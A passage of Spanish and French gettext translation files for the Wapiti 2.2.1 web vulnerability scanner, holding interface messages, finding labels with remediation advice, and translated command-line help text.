../net/getcookie.py:75 ../net/getcookie.py:80 msgid "No forms found in this page !" msgstr "¡No se han encontrado formularios en esta página!" #: ../net/getcookie.py:82 ../net/getcookie.py:87 msgid "Choose the form you want to use :" msgstr "Debe escoger el formulario que va a ser usado:" #: ../net/getcookie.py:91 ../net/getcookie.py:96 msgid "Enter a number : " msgstr "Introduzca un número" #: ../net/getcookie.py:98 ../net/getcookie.py:103 msgid "Please enter values for the folling form :" msgstr "Por favor, introduzca valores para el formulario:" #: ../attack/mod_crlf.py:90 ../attack/mod_crlf.py:98 msgid "Error: The server did not understand this request" msgstr "Error: Sin respuesta por parte del servidor" #: ../config/vulnerabilities/vulnerabilities.xml:103 msgid "Backup file" msgstr "Fichero de backup" #: ../config/vulnerabilities/vulnerabilities.xml:104 msgid "Backup file description" msgstr "" "Es posible encontrar ficheros de backup o scripts en el servidor web que el " "administrador del sitio haya puesto ahí para guardar una versión antigua o " "ficheros de backup que han sido generados automáticamente por algún editor " "(por ejemplo Emacs). Estas copias pueden revelar información relevante para " "un atacante como código fuente o credenciales" #: ../config/vulnerabilities/vulnerabilities.xml:105 msgid "Backup file solution" msgstr "" "El administrador del sitio debe manualmente borrar los ficheros de backup. " "También deberá reconfigurar su editor para desactivar la creación de estos " "ficheros de forma automática." #: ../config/vulnerabilities/vulnerabilities.xml:113 msgid "Potentially dangerous file" msgstr "Fichero potencialmente peligroso" #: ../config/vulnerabilities/vulnerabilities.xml:114 msgid "Potentially dangerous file description" msgstr "" "Ciertos scripts son conocidos por ser potencialmente vulnerables y " "peligrosos. Listas de este tipo de ficheros son frecuentemente utilizados " "por atacantes para escanear sitios de Internet a la búsqueda de este tipo de " "vulnerabilidades." #: ../config/vulnerabilities/vulnerabilities.xml:115 msgid "Potentially dangerous file solution" msgstr "" "El administrador deberá actualizar regularmente a la última versión sus " "scripts y programas utilizados en els ervidor. También es aconsejado estar " "informado sobre las nuevas vulnerabilidades descubiertas, para ello sería " "conveniente estar sindicado a diferentes RSS sobre seguridad" #: ../config/vulnerabilities/vulnerabilities.xml:93 msgid "Htaccess Bypass" msgstr "Bypass Htaccess" #: ../config/vulnerabilities/vulnerabilities.xml:94 msgid "Htaccess bypass description" msgstr "" "Los ficheros htaccess son usados para restringir el acceso sobre algunos " "ficheros mediante HTTP. En algunos casos es posible saltar esta restricción " "y acceder a estos ficheros." #: ../config/vulnerabilities/vulnerabilities.xml:95 msgid "Htaccess bypass solution" msgstr "" "Asegurarse de que los métodos HTTP están prohibidos si las credenciales no " "son correctas." #: ../attack/mod_xss.py:329 ../attack/mod_xss.py:334 ../attack/mod_xss.py:346 #: ../attack/mod_xss.py:349 ../attack/mod_xss.py:337 ../attack/mod_xss.py:342 #: ../attack/mod_xss.py:354 ../attack/mod_xss.py:357 msgid "Raw XSS" msgstr "XSS" #: ../attack/mod_xss.py:337 ../attack/mod_xss.py:345 msgid "Found raw XSS in" msgstr "XSS encontrado en" wapiti-2.2.1/src/language_sources/fr.po0000644000000000000000000013576111316442131016604 0ustar rootroot# SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR , YEAR. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: PACKAGE VERSION\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2009-12-29 18:21+0100\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME \n" "Language-Team: LANGUAGE \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: ../wapiti.py:192 ../wapiti.py:196 ../wapiti.py:244 ../wapiti.py:243 #: ../wapiti.py:246 msgid "No links or forms found in this page !" msgstr "Aucun liens ni formulaires trouvés dans cette page !" #: ../wapiti.py:193 ../wapiti.py:197 ../wapiti.py:245 ../wapiti.py:244 #: ../wapiti.py:247 msgid "Make sure the url is correct." msgstr "Assurez vous que l'url est valide." #: ../wapiti.py:199 ../wapiti.py:203 msgid "Attacking urls (GET)" msgstr "Attaque des urls (GET)" #: ../wapiti.py:205 ../wapiti.py:209 msgid "Attacking forms (POST)" msgstr "Attaque des formulaires (POST)" #: ../wapiti.py:211 ../wapiti.py:215 msgid "Looking for permanent XSS" msgstr "Recherche de XSS permanents" #: ../wapiti.py:216 ../wapiti.py:220 ../wapiti.py:267 ../wapiti.py:266 #: ../wapiti.py:269 msgid "Upload scripts found" msgstr "Scripts d'upload trouvés" #: ../wapiti.py:226 ../wapiti.py:230 ../wapiti.py:277 ../wapiti.py:276 #: ../wapiti.py:279 msgid "Report" msgstr "Rapport" #: ../wapiti.py:228 ../wapiti.py:232 ../wapiti.py:279 ../wapiti.py:278 #: ../wapiti.py:281 msgid "A report has been generated in the file" msgstr "Un rapport a été généré dans le fichier" #: ../wapiti.py:230 ../wapiti.py:234 ../wapiti.py:281 ../wapiti.py:280 #: ../wapiti.py:283 msgid "Open" msgstr "Ouvrez" #: ../wapiti.py:231 ../wapiti.py:235 ../wapiti.py:282 ../wapiti.py:281 #: ../wapiti.py:284 msgid "with a browser to see this report." msgstr "avec un navigateur pour voir ce rapport." #: ../wapiti.py:331 ../wapiti.py:335 msgid "attackGET" msgstr "attackGET" #: ../wapiti.py:354 ../wapiti.py:358 msgid "attackPOST" msgstr "attackPOST" #: ../wapiti.py:371 ../wapiti.py:372 ../wapiti.py:344 ../wapiti.py:343 #: ../wapiti.py:346 msgid "wapityDoc" msgstr "" "Wapiti-2.2.1 - Un scanneur de vulnérabilités pour applications web \n" " \n" " Mode d'emploi : python wapiti.py http://server.com/base/url/ [options] \n" " \n" " Les options possibles sont les suivantes : \n" " -s \n" " --start \n" " \tCommencer le scan par l'url spécifiée \n" " \n" " -x \n" " --exclude \n" " \tPour exclure une url du scan (par exemple un script de déconnexion) \n" " \tL'usage de l'astérisque (*) est autorisé \n" " \tExemple : -x http://server/base/?page=*&module=test \n" " \tou -x http://server/base/admin/* pour exclure un répertoire \n" " \n" " -p \n" " --proxy \n" " \tSpécifier l'utilisation d'un proxy \n" " \tExemple: -p http://proxy:port/ \n" " \n" " -c \n" " --cookie \n" " \tUtiliser un cookie pour les requêtes \n" " \n" " -t \n" " --timeout \n" " \tDéfinir le temps d'attente (en secondes) \n" " \n" " -a \n" " --auth \n" " \tSpécifier des identifiants pour l'authentification HTTP \n" " \n" " -r \n" " --remove \n" " \tRetirer un paramêtre de toutes les URLs \n" " \n" " -n \n" " --nice \n" " \tDéfinir une limite pour le nombre d'urls à traiter basées sur le même " "format (pattern) \n" " \tUtiliser cette option pour éviter d'entrer dans des boucles infinies \n" " \tCette valeur doit être supérieur à 0 \n" " \n" " -b \n" " --scope \n" " \tDéfinir le périmêtre du scan :\n" " \t\t+ \"page\" : analyser uniquement la page passée dans l'URL\n" " \t\t+ \"folder\" : analyser toutes les pages trouvées dans l'arborescence " "passée comme URL à Wapiti.\n" " \t\t+ \"domain\" :analyser toutes les pages trouvées dans le domaine " "spécifié dans l'URL passée à Wapiti.\n" " \tPar défaut, Wapiti scanne l'arborescence sous l'URL définie en argument " "principal.\n" " \n" "-m \n" "--module \n" " \tDéfinir les modules et les méthodes HTTP associées à utiliser pour les " "attaques.\n" " \tExemple: -m \"-all,xss:get,exec:post\"\n" " \n" " -u \n" " --underline \n" " \tUtiliser les couleurs du terminal pour mettre en valeur les paramêtres " "vulnérables \n" " \n" " -v \n" " --verbose \n" " \tDéfinie la verbosité des résultats \n" " \t0: silencieux (défaut), 1: affiche chaque url, 2: affiche chaque attaque " "en détail \n" " \n" " -f \n" " --reportType \n" " \tDéfinir le format du rapport \n" " \txml: Rapport au format XML \n" " \thtml: Rapport au format HTML \n" " \ttxt: Rapport au format texte simple \n" " \n" " -o \n" " --output \n" " \tSpéficier le nom du fichier où enregistrer le rapport \n" " \tSi le rapport est au format html, ce paramêtre doit être un répertoire \n" " \n" " -i \n" " --continue \n" " \tReprendre une session de scan en chargeant les paramêtres sauvegardés " "dans le fichier.\n" " \tSi le paramêtre est appelé sans argument, Wapiti charge la session depuis " "un fichier par défaut présent dans le dossier \"scans\".\n" " \n" " -k \n" " --attack \n" " \tLancer directement les attaques en chargeant les URLs présentes dans ce " "fichier (ne pas laisser lswww faire un scan préalable).\n" " \tSi le fichier n'est pas spécifié, Wapiti charge un fichier par défaut " "dans le dossier \"scans\".\n" " \n" " -h \n" " --help \n" " \tAfficher ce message d'aide" #: ../wapiti.py:452 ../wapiti.py:475 ../wapiti.py:428 ../wapiti.py:427 #: ../wapiti.py:429 ../wapiti.py:432 msgid "Wapiti-2.2.1 (wapiti.sourceforge.net)" msgstr "Wapiti-2.2.1 (wapiti.sourceforge.net)" #: ../net/lswww.py:138 ../net/lswww.py:161 ../net/lswww.py:143 #: ../net/lswww.py:167 ../net/lswww.py:151 ../net/lswww.py:183 #: ../net/lswww.py:152 ../net/lswww.py:184 ../net/lswww.py:139 #: ../net/lswww.py:171 ../net/lswww.py:170 msgid "Invalid link argument" msgstr "Le lien passé en argument est invalide" #: ../net/lswww.py:471 ../net/lswww.py:519 ../net/lswww.py:509 #: ../net/lswww.py:556 ../net/lswww.py:565 ../net/lswww.py:524 #: ../net/lswww.py:532 ../net/lswww.py:534 msgid "URLs" msgstr "URLs" #: ../net/lswww.py:478 ../net/lswww.py:526 ../net/lswww.py:516 #: ../net/lswww.py:563 ../net/lswww.py:572 ../net/lswww.py:531 #: ../net/lswww.py:539 ../net/lswww.py:541 msgid "Forms Info" msgstr "Infos sur les formulaires" #: ../net/lswww.py:480 ../net/lswww.py:528 ../net/lswww.py:518 #: ../net/lswww.py:565 ../net/lswww.py:574 ../net/lswww.py:533 #: ../net/lswww.py:541 ../net/lswww.py:543 msgid "From" msgstr "En provenance de" #: ../net/lswww.py:481 ../net/lswww.py:529 ../net/lswww.py:519 #: ../net/lswww.py:566 ../net/lswww.py:575 ../net/lswww.py:534 #: ../net/lswww.py:542 ../net/lswww.py:544 msgid "To" msgstr "vers" #: ../net/lswww.py:489 ../net/lswww.py:537 ../net/lswww.py:527 #: ../net/lswww.py:574 ../net/lswww.py:583 ../net/lswww.py:542 #: ../net/lswww.py:550 ../net/lswww.py:552 msgid "Upload Scripts" msgstr "Scripts d'upload" #: ../net/lswww.py:676 ../net/lswww.py:724 ../net/lswww.py:722 #: ../net/lswww.py:769 ../net/lswww.py:783 ../net/lswww.py:736 #: ../net/lswww.py:744 ../net/lswww.py:746 msgid "Forms" msgstr "Formulaires" #: ../net/lswww.py:679 ../net/lswww.py:727 ../net/lswww.py:725 #: ../net/lswww.py:772 ../net/lswww.py:786 ../net/lswww.py:739 #: ../net/lswww.py:747 ../net/lswww.py:749 msgid "Form" msgstr "Formulaire" #: ../net/lswww.py:683 ../net/lswww.py:731 ../net/lswww.py:729 #: ../net/lswww.py:776 ../net/lswww.py:790 ../net/lswww.py:743 #: ../net/lswww.py:751 ../net/lswww.py:753 msgid "Method" msgstr "Méthode" #: ../net/lswww.py:684 ../net/lswww.py:732 ../net/lswww.py:730 #: ../net/lswww.py:777 ../net/lswww.py:791 ../net/lswww.py:744 #: ../net/lswww.py:752 ../net/lswww.py:754 msgid "Intputs" msgstr "Inputs" #: ../net/lswww.py:689 ../net/lswww.py:737 ../net/lswww.py:735 #: ../net/lswww.py:782 ../net/lswww.py:796 ../net/lswww.py:749 #: ../net/lswww.py:757 ../net/lswww.py:759 msgid "Selects" msgstr "Selects" #: ../net/lswww.py:694 ../net/lswww.py:742 ../net/lswww.py:740 #: ../net/lswww.py:787 ../net/lswww.py:801 ../net/lswww.py:754 #: ../net/lswww.py:762 ../net/lswww.py:764 msgid "TextAreas" msgstr "TextAreas" #: ../net/lswww.py:699 ../net/lswww.py:747 ../net/lswww.py:745 #: ../net/lswww.py:792 ../net/lswww.py:806 ../net/lswww.py:759 #: ../net/lswww.py:767 ../net/lswww.py:769 msgid "URLS" msgstr "URLS" #: ../net/lswww.py:783 msgid "lswwwDoc" msgstr "" " lswww explore un site web et extrait les liens et formulaires trouvés.\n" " \n" " Mode d'emploi : python lswww.py http://server.com/base/url/ [options]\n" " \n" " Les options disponibles sont :\n" " -s \n" " --start \n" " \tCommencer le scan par l'url spécifiée\n" " \n" " -x \n" " --exclude \n" " \tExclure une url du scan (par exemple les scripts de déconnexion)\n" " \tL'utilisation de l'astérisque (*) est autorisée\n" " \tExemple : -x http://server/base/?page=*&module=test\n" " \tou -x http://server/base/admin/* to exclude a directory\n" " \n" " -p \n" " --proxy \n" " \tSpécifier un proxy à utiliser\n" " \tExemple: -p http://proxy:port/\n" " \n" " -c \n" " --cookie \n" " \tUtiliser un cookie pour les requêtes\n" " \n" " -a \n" " --auth \n" " \tDéfinir des identifiants pour l'authentication HTTP\n" " \n" " -r \n" " --remove \n" " \tRetirer un paramêtre de chaque URL\n" " \n" " -v \n" " --verbose \n" " \tDéfinir le niveau de verbosité\n" " \t 0: afficher uniquement les résultats\n" " \t 1: afficher un point pour chaque url trouvée (défaut)\n" " \t 2: afficher chaque url au moment de leur découverte\n" " \n" " -t \n" " --timeout \n" " \tDéfinir un temps d'attente (en secondes)\n" " \n" " -n \n" " --nice \n" " \tDefinir une limite d'urls à traiter formées sur le même modèle (pattern)\n" " \tCette option peut empêcher de tomber dans des boucles infinies de scan\n" " \tLa valeur doit être supérieure à 0\n" " \n" " -b \n" " --scope \n" " \tDéfinir le périmêtre du scan :\n" " \t\t+ \"page\" : analyser toutes les pages présentes sous l'URL principale\n" " \t\t+ \"folder\" : analyser toutes les pages présentes sous la même " "arborescence que la page passée en argument principal à Wapiti.\n" " \t\t+ \"domain\" : analyser toutes les pages sous le même domaine que l'URL " "principale passée à Wapiti.\n" " \tSi aucun argument n'est définie, Wapiti scanne chaque page sous l'URL " "principale..\n" " \n" " -i \n" " --continue \n" " \tReprendre une précédente session de scan là où elle avait été laissée en " "chargeant les données depuis le fichier spécifié en paramêtre.\n" " \tSi aucun fichier n'est spécifié, Wapiti se sert d'un fichier de " "sauvegarde par défaut présent dans le dossier \"scans\".\n" " \n" " -h\n" " --help\n" " \tAfficher ce message d'aide" #: ../attack/crlfattack.py:48 ../attack/crlfattack.py:53 #: ../attack/execattack.py:80 ../attack/execattack.py:86 #: ../attack/sqlinjectionattack.py:98 ../attack/mod_crlf.py:53 #: ../attack/mod_crlf.py:58 ../attack/mod_exec.py:82 ../attack/mod_exec.py:88 #: ../attack/mod_sql.py:98 ../attack/mod_exec.py:84 ../attack/mod_exec.py:90 #: ../attack/mod_sql.py:103 ../attack/mod_crlf.py:61 ../attack/mod_crlf.py:66 #: ../attack/mod_exec.py:91 ../attack/mod_exec.py:97 ../attack/mod_sql.py:111 msgid "(QUERY_STRING)" msgstr "(QUERY_STRING)" #: ../attack/crlfattack.py:49 ../attack/mod_crlf.py:54 #: ../attack/mod_crlf.py:62 msgid "CRLF Injection (QUERY_STRING) in" msgstr "Injection CRLF (QUERY_STRING) dans" #: ../attack/crlfattack.py:50 ../attack/crlfattack.py:73 #: ../attack/execattack.py:88 ../attack/execattack.py:97 #: ../attack/execattack.py:131 ../attack/execattack.py:145 #: ../attack/filehandlingattack.py:111 ../attack/filehandlingattack.py:120 #: ../attack/filehandlingattack.py:154 ../attack/filehandlingattack.py:168 #: ../attack/sqlinjectionattack.py:100 ../attack/sqlinjectionattack.py:108 #: ../attack/sqlinjectionattack.py:138 ../attack/sqlinjectionattack.py:152 #: ../attack/sqlinjectionattack.py:225 ../attack/sqlinjectionattack.py:234 #: ../attack/sqlinjectionattack.py:258 ../attack/sqlinjectionattack.py:276 #: ../attack/xssattack.py:276 ../attack/xssattack.py:331 #: ../attack/xssattack.py:386 ../attack/xssattack.py:440 #: ../attack/xssattack.py:497 ../attack/mod_crlf.py:55 #: ../attack/mod_crlf.py:81 ../attack/mod_exec.py:90 ../attack/mod_exec.py:99 #: ../attack/mod_exec.py:133 ../attack/mod_exec.py:144 #: ../attack/mod_file.py:113 ../attack/mod_file.py:122 #: ../attack/mod_file.py:156 ../attack/mod_file.py:167 #: ../attack/mod_sql.py:100 ../attack/mod_sql.py:111 ../attack/mod_sql.py:141 #: ../attack/mod_sql.py:155 ../attack/mod_blindsql.py:75 #: ../attack/mod_blindsql.py:84 ../attack/mod_blindsql.py:112 #: ../attack/mod_blindsql.py:126 ../attack/mod_xss.py:279 #: ../attack/mod_xss.py:337 ../attack/mod_xss.py:395 ../attack/mod_xss.py:452 #: ../attack/mod_xss.py:512 ../attack/mod_xss.py:229 ../attack/mod_xss.py:287 #: ../attack/mod_xss.py:345 ../attack/mod_xss.py:402 ../attack/mod_xss.py:462 #: ../attack/mod_exec.py:92 ../attack/mod_exec.py:101 #: ../attack/mod_exec.py:135 ../attack/mod_exec.py:146 #: ../attack/mod_xss.py:283 ../attack/mod_htaccess.py:108 #: ../attack/mod_sql.py:105 ../attack/mod_sql.py:116 ../attack/mod_sql.py:146 #: ../attack/mod_sql.py:160 ../attack/mod_xss.py:285 ../attack/mod_xss.py:347 #: ../attack/mod_blindsql.py:76 ../attack/mod_blindsql.py:86 #: ../attack/mod_blindsql.py:115 ../attack/mod_blindsql.py:130 #: ../attack/mod_crlf.py:63 ../attack/mod_crlf.py:89 ../attack/mod_exec.py:108 #: ../attack/mod_exec.py:142 ../attack/mod_exec.py:153 #: ../attack/mod_file.py:121 ../attack/mod_file.py:130 #: ../attack/mod_file.py:165 ../attack/mod_file.py:176 #: ../attack/mod_sql.py:113 ../attack/mod_sql.py:124 ../attack/mod_sql.py:154 #: ../attack/mod_sql.py:168 ../attack/mod_blindsql.py:83 #: ../attack/mod_blindsql.py:93 ../attack/mod_blindsql.py:122 #: ../attack/mod_blindsql.py:137 ../attack/mod_xss.py:293 #: ../attack/mod_xss.py:355 msgid "Evil url" msgstr "URL malicieuse" #: ../attack/crlfattack.py:54 ../attack/filehandlingattack.py:100 #: ../attack/filehandlingattack.py:101 ../attack/mod_crlf.py:59 #: ../attack/mod_file.py:102 ../attack/mod_file.py:103 #: ../attack/mod_crlf.py:67 ../attack/mod_file.py:110 #: ../attack/mod_file.py:111 msgid "Timeout (QUERY_STRING) in" msgstr "Timeout (QUERY_STRING) dans" #: ../attack/crlfattack.py:55 ../attack/crlfattack.py:83 #: ../attack/execattack.py:77 ../attack/execattack.py:119 #: ../attack/filehandlingattack.py:102 ../attack/filehandlingattack.py:145 #: ../attack/mod_crlf.py:60 ../attack/mod_crlf.py:88 ../attack/mod_exec.py:79 #: ../attack/mod_exec.py:121 ../attack/mod_file.py:104 #: ../attack/mod_file.py:147 ../attack/mod_exec.py:81 #: ../attack/mod_exec.py:123 ../attack/mod_crlf.py:68 ../attack/mod_crlf.py:96 #: ../attack/mod_exec.py:88 ../attack/mod_exec.py:130 #: ../attack/mod_file.py:112 ../attack/mod_file.py:156 msgid "caused by" msgstr "provoqué par" #: ../attack/crlfattack.py:72 ../attack/crlfattack.py:82 #: ../attack/execattack.py:118 ../attack/execattack.py:130 #: ../attack/execattack.py:185 ../attack/filehandlingattack.py:144 #: ../attack/filehandlingattack.py:153 ../attack/filehandlingattack.py:208 #: ../attack/sqlinjectionattack.py:137 ../attack/sqlinjectionattack.py:188 #: ../attack/sqlinjectionattack.py:257 ../attack/xssattack.py:275 #: ../attack/xssattack.py:330 ../attack/xssattack.py:385 #: ../attack/mod_crlf.py:80 ../attack/mod_crlf.py:87 ../attack/mod_exec.py:120 #: ../attack/mod_exec.py:132 ../attack/mod_exec.py:185 #: ../attack/mod_file.py:146 ../attack/mod_file.py:155 #: ../attack/mod_file.py:207 ../attack/mod_sql.py:140 ../attack/mod_sql.py:191 #: ../attack/mod_blindsql.py:111 ../attack/mod_xss.py:278 #: ../attack/mod_xss.py:336 ../attack/mod_xss.py:394 ../attack/mod_xss.py:228 #: ../attack/mod_xss.py:286 ../attack/mod_xss.py:344 ../attack/mod_exec.py:122 #: ../attack/mod_exec.py:134 ../attack/mod_exec.py:187 #: ../attack/mod_xss.py:282 ../attack/mod_sql.py:193 ../attack/mod_sql.py:145 #: ../attack/mod_sql.py:198 ../attack/mod_xss.py:284 ../attack/mod_xss.py:346 #: ../attack/mod_blindsql.py:114 ../attack/mod_crlf.py:88 #: ../attack/mod_crlf.py:95 ../attack/mod_exec.py:129 #: ../attack/mod_exec.py:141 ../attack/mod_exec.py:194 #: ../attack/mod_file.py:164 ../attack/mod_file.py:216 #: ../attack/mod_sql.py:153 ../attack/mod_sql.py:206 #: ../attack/mod_blindsql.py:121 ../attack/mod_xss.py:292 #: ../attack/mod_xss.py:354 msgid "in" msgstr "dans" #: ../attack/crlfattack.py:82 ../attack/execattack.py:118 #: ../attack/filehandlingattack.py:144 ../attack/mod_crlf.py:87 #: ../attack/mod_exec.py:120 ../attack/mod_file.py:146 #: ../attack/mod_exec.py:122 ../attack/mod_crlf.py:95 #: ../attack/mod_exec.py:129 ../attack/mod_file.py:155 msgid "Timeout" msgstr "Timeout" #: ../attack/execattack.py:76 ../attack/execattack.py:171 #: ../attack/filehandlingattack.py:198 ../attack/mod_exec.py:78 #: ../attack/mod_exec.py:170 ../attack/mod_file.py:197 #: ../attack/mod_exec.py:80 ../attack/mod_exec.py:172 ../attack/mod_exec.py:87 #: ../attack/mod_exec.py:179 ../attack/mod_file.py:206 msgid "Timeout in" msgstr "Timeout dans" #: ../attack/execattack.py:87 ../attack/filehandlingattack.py:109 #: ../attack/filehandlingattack.py:110 ../attack/sqlinjectionattack.py:99 #: ../attack/mod_exec.py:89 ../attack/mod_file.py:111 #: ../attack/mod_file.py:112 ../attack/mod_sql.py:99 ../attack/mod_exec.py:91 #: ../attack/mod_sql.py:104 ../attack/mod_exec.py:98 ../attack/mod_file.py:119 #: ../attack/mod_file.py:120 ../attack/mod_sql.py:112 msgid "(QUERY_STRING) in" msgstr "(QUERY_STRING) dans" #: ../attack/execattack.py:96 ../attack/execattack.py:144 #: ../attack/filehandlingattack.py:119 ../attack/filehandlingattack.py:167 #: ../attack/sqlinjectionattack.py:107 ../attack/sqlinjectionattack.py:151 #: ../attack/sqlinjectionattack.py:233 ../attack/sqlinjectionattack.py:275 #: ../attack/mod_exec.py:98 ../attack/mod_exec.py:143 #: ../attack/mod_file.py:121 ../attack/mod_file.py:166 #: ../attack/mod_sql.py:110 ../attack/mod_sql.py:154 #: ../attack/mod_blindsql.py:83 ../attack/mod_blindsql.py:125 #: ../attack/mod_exec.py:100 ../attack/mod_exec.py:145 #: ../attack/mod_htaccess.py:107 ../attack/mod_sql.py:115 #: ../attack/mod_sql.py:159 ../attack/mod_blindsql.py:85 #: ../attack/mod_blindsql.py:129 ../attack/mod_exec.py:107 #: ../attack/mod_exec.py:152 ../attack/mod_file.py:129 #: ../attack/mod_file.py:175 ../attack/mod_sql.py:123 ../attack/mod_sql.py:167 #: ../attack/mod_blindsql.py:92 ../attack/mod_blindsql.py:136 msgid "500 HTTP Error code with" msgstr "Code d'erreur HTTP 500 avec" #: ../attack/execattack.py:172 ../attack/execattack.py:186 #: ../attack/execattack.py:197 ../attack/filehandlingattack.py:199 #: ../attack/filehandlingattack.py:209 ../attack/filehandlingattack.py:220 #: ../attack/sqlinjectionattack.py:189 ../attack/sqlinjectionattack.py:199 #: ../attack/sqlinjectionattack.py:304 ../attack/sqlinjectionattack.py:319 #: ../attack/xssattack.py:270 ../attack/xssattack.py:325 #: ../attack/xssattack.py:380 ../attack/xssattack.py:434 #: ../attack/xssattack.py:491 ../attack/mod_exec.py:171 #: ../attack/mod_exec.py:187 ../attack/mod_exec.py:190 #: ../attack/mod_exec.py:202 ../attack/mod_file.py:198 #: ../attack/mod_file.py:209 ../attack/mod_file.py:212 #: ../attack/mod_file.py:224 ../attack/mod_sql.py:193 ../attack/mod_sql.py:196 #: ../attack/mod_sql.py:211 ../attack/mod_blindsql.py:161 #: ../attack/mod_blindsql.py:164 ../attack/mod_blindsql.py:179 #: ../attack/mod_xss.py:271 ../attack/mod_xss.py:273 ../attack/mod_xss.py:329 #: ../attack/mod_xss.py:331 ../attack/mod_xss.py:387 ../attack/mod_xss.py:389 #: ../attack/mod_xss.py:444 ../attack/mod_xss.py:446 ../attack/mod_xss.py:504 #: ../attack/mod_xss.py:506 ../attack/mod_xss.py:221 ../attack/mod_xss.py:223 #: ../attack/mod_xss.py:279 ../attack/mod_xss.py:281 ../attack/mod_xss.py:337 #: ../attack/mod_xss.py:339 ../attack/mod_xss.py:394 ../attack/mod_xss.py:396 #: ../attack/mod_xss.py:454 ../attack/mod_xss.py:456 ../attack/mod_exec.py:173 #: ../attack/mod_exec.py:189 ../attack/mod_exec.py:192 #: ../attack/mod_exec.py:204 ../attack/mod_xss.py:275 ../attack/mod_xss.py:277 #: ../attack/mod_sql.py:195 ../attack/mod_sql.py:198 ../attack/mod_sql.py:212 #: ../attack/mod_sql.py:200 ../attack/mod_sql.py:203 ../attack/mod_sql.py:217 #: ../attack/mod_xss.py:341 ../attack/mod_blindsql.py:166 #: ../attack/mod_blindsql.py:169 ../attack/mod_blindsql.py:185 #: ../attack/mod_exec.py:180 ../attack/mod_exec.py:196 #: ../attack/mod_exec.py:199 ../attack/mod_exec.py:211 #: ../attack/mod_file.py:207 ../attack/mod_file.py:218 #: ../attack/mod_file.py:221 ../attack/mod_file.py:233 #: ../attack/mod_sql.py:208 ../attack/mod_sql.py:225 #: ../attack/mod_blindsql.py:173 ../attack/mod_blindsql.py:176 #: ../attack/mod_blindsql.py:192 ../attack/mod_xss.py:285 #: ../attack/mod_xss.py:287 ../attack/mod_xss.py:347 ../attack/mod_xss.py:349 msgid "with params" msgstr "avec les paramêtres" #: ../attack/execattack.py:173 ../attack/execattack.py:184 #: ../attack/execattack.py:187 ../attack/execattack.py:198 #: ../attack/filehandlingattack.py:200 ../attack/filehandlingattack.py:207 #: ../attack/filehandlingattack.py:210 ../attack/filehandlingattack.py:221 #: ../attack/sqlinjectionattack.py:187 ../attack/sqlinjectionattack.py:190 #: ../attack/sqlinjectionattack.py:200 ../attack/sqlinjectionattack.py:305 #: ../attack/sqlinjectionattack.py:320 ../attack/xssattack.py:271 #: ../attack/xssattack.py:326 ../attack/xssattack.py:381 #: ../attack/xssattack.py:435 ../attack/xssattack.py:492 #: ../attack/mod_exec.py:172 ../attack/mod_exec.py:184 #: ../attack/mod_exec.py:191 ../attack/mod_exec.py:203 #: ../attack/mod_file.py:199 ../attack/mod_file.py:206 #: ../attack/mod_file.py:213 ../attack/mod_file.py:225 #: ../attack/mod_sql.py:190 ../attack/mod_sql.py:197 ../attack/mod_sql.py:212 #: ../attack/mod_blindsql.py:165 ../attack/mod_blindsql.py:180 #: ../attack/mod_xss.py:274 ../attack/mod_xss.py:332 ../attack/mod_xss.py:390 #: ../attack/mod_xss.py:447 ../attack/mod_xss.py:507 ../attack/mod_xss.py:224 #: ../attack/mod_xss.py:282 ../attack/mod_xss.py:340 ../attack/mod_xss.py:397 #: ../attack/mod_xss.py:457 ../attack/mod_exec.py:174 #: ../attack/mod_exec.py:186 ../attack/mod_exec.py:193 #: ../attack/mod_exec.py:205 ../attack/mod_xss.py:278 ../attack/mod_sql.py:192 #: ../attack/mod_sql.py:199 ../attack/mod_sql.py:213 ../attack/mod_sql.py:204 #: ../attack/mod_sql.py:218 ../attack/mod_xss.py:280 ../attack/mod_xss.py:342 #: ../attack/mod_blindsql.py:170 ../attack/mod_blindsql.py:186 #: ../attack/mod_exec.py:181 ../attack/mod_exec.py:200 #: ../attack/mod_exec.py:212 ../attack/mod_file.py:208 #: ../attack/mod_file.py:215 ../attack/mod_file.py:222 #: ../attack/mod_file.py:234 ../attack/mod_sql.py:205 ../attack/mod_sql.py:226 #: ../attack/mod_blindsql.py:177 ../attack/mod_blindsql.py:193 #: ../attack/mod_xss.py:288 ../attack/mod_xss.py:350 msgid "coming from" msgstr "en provenance de" #: ../attack/execattack.py:177 ../attack/filehandlingattack.py:197 #: ../attack/mod_exec.py:176 ../attack/mod_file.py:196 #: ../attack/mod_exec.py:178 ../attack/mod_exec.py:185 #: ../attack/mod_file.py:205 msgid "Timeout coming from" msgstr "Timeout en provenance de" #: ../attack/execattack.py:194 ../attack/filehandlingattack.py:217 #: ../attack/sqlinjectionattack.py:196 ../attack/sqlinjectionattack.py:316 #: ../attack/mod_exec.py:199 ../attack/mod_file.py:221 #: ../attack/mod_sql.py:208 ../attack/mod_blindsql.py:176 #: ../attack/mod_exec.py:201 ../attack/mod_sql.py:209 ../attack/mod_sql.py:214 #: ../attack/mod_blindsql.py:182 ../attack/mod_exec.py:208 #: ../attack/mod_file.py:230 ../attack/mod_sql.py:222 #: ../attack/mod_blindsql.py:189 msgid "500 HTTP Error code coming from" msgstr "Code d'erreur HTTP 500 en provenance de" #: ../attack/execattack.py:196 ../attack/filehandlingattack.py:219 #: ../attack/sqlinjectionattack.py:198 ../attack/sqlinjectionattack.py:318 #: ../attack/mod_exec.py:201 ../attack/mod_file.py:223 #: ../attack/mod_sql.py:210 ../attack/mod_blindsql.py:178 #: ../attack/mod_exec.py:203 ../attack/mod_sql.py:211 ../attack/mod_sql.py:216 #: ../attack/mod_blindsql.py:184 ../attack/mod_exec.py:210 #: ../attack/mod_file.py:232 ../attack/mod_sql.py:224 #: ../attack/mod_blindsql.py:191 msgid "500 HTTP Error code in" msgstr "Erreur HTTP 500 dans" #: ../attack/sqlinjectionattack.py:223 ../attack/mod_blindsql.py:73 #: ../attack/mod_blindsql.py:74 ../attack/mod_blindsql.py:81 msgid "Blind SQL Injection (QUERY_STRING)" msgstr "Injection SQL aveugle (QUERY_STRING)" #: ../attack/sqlinjectionattack.py:224 ../attack/mod_blindsql.py:74 #: ../attack/mod_blindsql.py:75 ../attack/mod_blindsql.py:82 